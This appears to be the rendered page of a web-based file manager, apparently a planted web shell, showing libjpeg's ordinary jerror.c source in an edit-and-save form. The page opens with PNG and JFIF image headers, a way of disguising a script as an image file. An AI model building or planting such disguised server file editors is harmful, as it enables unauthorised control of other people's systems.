�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fjpeg-9f%2F'>jpeg-9f</a>/</p><hr><h3>✏️ Editing: jerror.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*
 * jerror.c
 *
 * Copyright (C) 1991-1998, Thomas G. Lane.
 * Modified 2012-2015 by Guido Vollbeding.
 * This file is part of the Independent JPEG Group&#039;s software.
 * For conditions of distribution and use, see the accompanying README file.
 *
 * This file contains simple error-reporting and trace-message routines.
 * These are suitable for Unix-like systems and others where writing to
 * stderr is the right thing to do.  Many applications will want to replace
 * some or all of these routines.
 *
 * If you define USE_WINDOWS_MESSAGEBOX in jconfig.h or in the makefile,
 * you get a Windows-specific hack to display error messages in a dialog box.
 * It ain&#039;t much, but it beats dropping error messages into the bit bucket,
 * which is what happens to output to stderr under most Windows C compilers.
 *
 * These routines are used by both the compression and decompression code.
 */

#ifdef USE_WINDOWS_MESSAGEBOX
#include &lt;windows.h&gt;
#endif

/* this is not a core library module, so it doesn&#039;t define JPEG_INTERNALS */
#include &quot;jinclude.h&quot;
#include &quot;jpeglib.h&quot;
#include &quot;jversion.h&quot;
#include &quot;jerror.h&quot;

#ifndef EXIT_FAILURE		/* define exit() codes if not provided */
#define EXIT_FAILURE  1
#endif


/*
 * Create the message string table.
 * We do this from the master message list in jerror.h by re-reading
 * jerror.h with a suitable definition for macro JMESSAGE.
 * The message table is made an external symbol just in case any applications
 * want to refer to it directly.
 */

#ifdef NEED_SHORT_EXTERNAL_NAMES
#define jpeg_std_message_table	jMsgTable
#endif

#define JMESSAGE(code,string)	string ,

const char * const jpeg_std_message_table[] = {
#include &quot;jerror.h&quot;
  NULL
};


/*
 * Error exit handler: must not return to caller.
 *
 * Applications may override this if they want to get control back after
 * an error.  Typically one would longjmp somewhere instead of exiting.
 * The setjmp buffer can be made a private field within an expanded error
 * handler object.  Note that the info needed to generate an error message
 * is stored in the error object, so you can generate the message now or
 * later, at your convenience.
 * You should make sure that the JPEG object is cleaned up (with jpeg_abort
 * or jpeg_destroy) at some point.
 */

METHODDEF(noreturn_t)
error_exit (j_common_ptr cinfo)
{
  /* Always display the message */
  (*cinfo-&gt;err-&gt;output_message) (cinfo);

  /* Let the memory manager delete any temp files before we die */
  jpeg_destroy(cinfo);

  exit(EXIT_FAILURE);
}


/*
 * Actual output of an error or trace message.
 * Applications may override this method to send JPEG messages somewhere
 * other than stderr.
 *
 * On Windows, printing to stderr is generally completely useless,
 * so we provide optional code to produce an error-dialog popup.
 * Most Windows applications will still prefer to override this routine,
 * but if they don&#039;t, it&#039;ll do something at least marginally useful.
 *
 * NOTE: to use the library in an environment that doesn&#039;t support the
 * C stdio library, you may have to delete the call to fprintf() entirely,
 * not just not use this routine.
 */

METHODDEF(void)
output_message (j_common_ptr cinfo)
{
  char buffer[JMSG_LENGTH_MAX];

  /* Create the message */
  (*cinfo-&gt;err-&gt;format_message) (cinfo, buffer);

#ifdef USE_WINDOWS_MESSAGEBOX
  /* Display it in a message dialog box */
  MessageBox(GetActiveWindow(), buffer, &quot;JPEG Library Error&quot;,
	     MB_OK | MB_ICONERROR);
#else
  /* Send it to stderr, adding a newline */
  fprintf(stderr, &quot;%s\n&quot;, buffer);
#endif
}


/*
 * Decide whether to emit a trace or warning message.
 * msg_level is one of:
 *   -1: recoverable corrupt-data warning, may want to abort.
 *    0: important advisory messages (always display to user).
 *    1: first level of tracing detail.
 *    2,3,...: successively more detailed tracing messages.
 * An application might override this method if it wanted to abort on warnings
 * or change the policy about which messages to display.
 */

METHODDEF(void)
emit_message (j_common_ptr cinfo, int msg_level)
{
  struct jpeg_error_mgr * err = cinfo-&gt;err;

  if (msg_level &lt; 0) {
    /* It&#039;s a warning message.  Since corrupt files may generate many warnings,
     * the policy implemented here is to show only the first warning,
     * unless trace_level &gt;= 3.
     */
    if (err-&gt;num_warnings == 0 || err-&gt;trace_level &gt;= 3)
      (*err-&gt;output_message) (cinfo);
    /* Always count warnings in num_warnings. */
    err-&gt;num_warnings++;
  } else {
    /* It&#039;s a trace message.  Show it if trace_level &gt;= msg_level. */
    if (err-&gt;trace_level &gt;= msg_level)
      (*err-&gt;output_message) (cinfo);
  }
}


/*
 * Format a message string for the most recent JPEG error or message.
 * The message is stored into buffer, which should be at least JMSG_LENGTH_MAX
 * characters.  Note that no &#039;\n&#039; character is added to the string.
 * Few applications should need to override this method.
 */

METHODDEF(void)
format_message (j_common_ptr cinfo, char * buffer)
{
  struct jpeg_error_mgr * err = cinfo-&gt;err;
  int msg_code = err-&gt;msg_code;
  const char * msgtext = NULL;
  const char * msgptr;
  char ch;
  boolean isstring;

  /* Look up message string in proper table */
  if (msg_code &gt; 0 &amp;&amp; msg_code &lt;= err-&gt;last_jpeg_message) {
    msgtext = err-&gt;jpeg_message_table[msg_code];
  } else if (err-&gt;addon_message_table != NULL &amp;&amp;
	     msg_code &gt;= err-&gt;first_addon_message &amp;&amp;
	     msg_code &lt;= err-&gt;last_addon_message) {
    msgtext = err-&gt;addon_message_table[msg_code - err-&gt;first_addon_message];
  }

  /* Defend against bogus message number */
  if (msgtext == NULL) {
    err-&gt;msg_parm.i[0] = msg_code;
    msgtext = err-&gt;jpeg_message_table[0];
  }

  /* Check for string parameter, as indicated by %s in the message text */
  isstring = FALSE;
  msgptr = msgtext;
  while ((ch = *msgptr++) != &#039;\0&#039;) {
    if (ch == &#039;%&#039;) {
      if (*msgptr == &#039;s&#039;) isstring = TRUE;
      break;
    }
  }

  /* Format the message into the passed buffer */
  if (isstring)
    sprintf(buffer, msgtext, err-&gt;msg_parm.s);
  else
    sprintf(buffer, msgtext,
	    err-&gt;msg_parm.i[0], err-&gt;msg_parm.i[1],
	    err-&gt;msg_parm.i[2], err-&gt;msg_parm.i[3],
	    err-&gt;msg_parm.i[4], err-&gt;msg_parm.i[5],
	    err-&gt;msg_parm.i[6], err-&gt;msg_parm.i[7]);
}


/*
 * Reset error state variables at start of a new image.
 * This is called during compression startup to reset trace/error
 * processing to default state, without losing any application-specific
 * method pointers.  An application might possibly want to override
 * this method if it has additional error processing state.
 */

METHODDEF(void)
reset_error_mgr (j_common_ptr cinfo)
{
  cinfo-&gt;err-&gt;num_warnings = 0;
  /* trace_level is not reset since it is an application-supplied parameter */
  cinfo-&gt;err-&gt;msg_code = 0;	/* may be useful as a flag for &quot;no error&quot; */
}


/*
 * Fill in the standard error-handling methods in a jpeg_error_mgr object.
 * Typical call is:
 *	struct jpeg_compress_struct cinfo;
 *	struct jpeg_error_mgr err;
 *
 *	cinfo.err = jpeg_std_error(&amp;err);
 * after which the application may override some of the methods.
 */

GLOBAL(struct jpeg_error_mgr *)
jpeg_std_error (struct jpeg_error_mgr * err)
{
  err-&gt;error_exit = error_exit;
  err-&gt;emit_message = emit_message;
  err-&gt;output_message = output_message;
  err-&gt;format_message = format_message;
  err-&gt;reset_error_mgr = reset_error_mgr;

  err-&gt;trace_level = 0;		/* default = no tracing */
  err-&gt;num_warnings = 0;	/* no warnings emitted yet */
  err-&gt;msg_code = 0;		/* may be useful as a flag for &quot;no error&quot; */

  /* Initialize message table pointers */
  err-&gt;jpeg_message_table = jpeg_std_message_table;
  err-&gt;last_jpeg_message = (int) JMSG_LASTMSGCODE - 1;

  err-&gt;addon_message_table = NULL;
  err-&gt;first_addon_message = 0;	/* for safety */
  err-&gt;last_addon_message = 0;

  return err;
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fjpeg-9f'>🔙 Back</a></p>